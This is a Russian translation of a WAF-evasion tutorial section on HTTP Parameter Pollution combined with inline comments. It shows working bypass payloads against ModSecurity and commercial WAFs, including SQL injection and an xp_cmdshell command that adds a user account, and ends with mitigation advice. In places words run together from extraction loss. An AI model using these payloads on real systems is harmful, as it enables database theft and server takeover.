Хелпикс

Главная

Контакты

Случайная статья





[0x03] – Продвинутые техники обхода



[0x03] – Продвинутые техники обхода

В этом разделе мы предлагаем 2 техники: " HTTP Pollution: Разделяй и соединяй" и " HTTP ParameterContamination". Эти техники позволяют обходить множество открытых и коммерческих WAF.

[0x03a] - HTTP Parameter Pollution1: Разделяй и соединяй

HTTP Pollution – это новый класс уязвимостей к инъекции, описанный LucaCarettoni и StefanoDiPaola. HPP - очень простой но эффективный прием взлома. HPP атаки можно определить как возможность замещения или добавления GET/POST параметров через инъекцию в строке запроса.

Пример HPP: " http: //victim. com/search. aspx? par1=val1& par1=val2"

Обработка HTTP параметров: (пример)

Веб-сервер Интерпретация параметров Пример
ASP. NET/IIS Склеивание через запятую par1=val1, val2
ASP/IIS Склеивание через запятую par1=val1, val2
PHP/Apache Результат – последнее значение par1=val2
JSP/Tomcat Результат – первое значение par1=val1
Perl/Apache Результат – первое значение par1=val1
DBMan Склеивание через две тильды par1=val1~~val2

Что случится с WAF, которые разбирают строку запроса перед применением фильтров? (HPP может использоваться даже для обхода WAF). Некоторые бестолковые WAF могут анализировать и проверять только одно вхождение параметра (первое или последнее). Всякий раз, когда соответствующая среда склеивает множественные вхождения параметра (ASP, ASP. NET, DBMan, …), атакующий может разделить вредоносный код.

В недавнем тесте на проникновение (опять) нам удалось обойти ImpervaSecureSphere используя " HPP+встроенный комментарий" в среде ASP/ASP. NET. С помощью этого приема можно обходить и коммерческие WAF. Болееподробнаяинформацияуказананиже:

#Примерыизреальногомира:
1. Mod Security CRS (Предоставил: LavakumarKuppan)
The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому
блокирует.
Запрещено: http: //victim. com/search. aspx? q=select name, passwordfromusers
Когда тот же код разделяется на несколько параметров с одинаковыми именами,
ModSecurity его не блокирует.
Пропущено: http: //victim. com/search. aspx? q=select name& q=passwordfromusers
Посмотрим, что происходит. Вот интерпретация ModSecurity:
q=selectname
q=passwordfromusers
А вот интерпретация ASP/ASP. NET:
q=selectname, passwordfromusers
*Замечание: подобную атаку можно провести и с POST-переменными.

2. Коммерческие WAF
Запрещено: http: //victim. com/search. aspx? q=select name, passwordfromusers
Теперь используем HPP+встроенный комментарий для обхода.
Пропущено: http: //victim. com/search. aspx? q=select/*& q=*/name&
amp; q=password/*& q=*/from/*& q=*/users
Проанализируем. Вот интерпретация WAF:
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
Вот интерпретация ASP/ASP. NET:
q=select/*, */name, password/*, */from/*, */users
q=selectname, passwordfromusers

3. IBM WebApplicationFirewall (Предоставил: WendelGuglielmettiHenriqueof
Trustwave'sSpiderLabs)
Запрещено: http: //victim. com/news. aspx? id=1'; EXEC master.. xp_cmdshell
“netuser zeq3ul UrWaFisShiT /add” --
Снова используем HPP+встроенный комментарий для обхода.
Пропущено: http: //victim. com/news. aspx? id=1'; /*& id=1*/ EXEC
/*& id=1*/ master.. xp_cmdshell /*& id=1*/ “netuserlucifer
UrWaFisShiT” /*& id=1*/ --
Проанализируем. Вот интерпретация WAF:
id=1’; /*
id=1*/ EXEC /*
id=1*/ master.. xp_cmdshell /*
id=1*/ “netuser zeq3ul UrWaFisShiT” /*
id=1*/ --
Вот интерпретация ASP/ASP. NET:
id=1’; /*, 1*/ EXEC /*, 1*/ master.. xp_cmdshell /*, 1*/ “netuser
zeq3ul UrWaFisShiT” /*, 1*/ --
id=1’; EXEC master.. xp_cmdshell “netuser zeq3ul
UrWaFisShiT” --

 

Проще всего справиться с этой атакой WAF может, запретив множественные вхождения параметра в одном HTTP-запросе. Это предотвратит все разновидности данной атаки.

Однако, такой запрет может оказаться невозможным в случаях, когда защищаемому приложению необходима возможность множественных вхождений параметров. В этом случае WAF должен интерпретировать HTTP-запрос так же, как это сделало бы приложение.



  

© helpiks.su При использовании или копировании материалов прямая ссылка на сайт обязательна.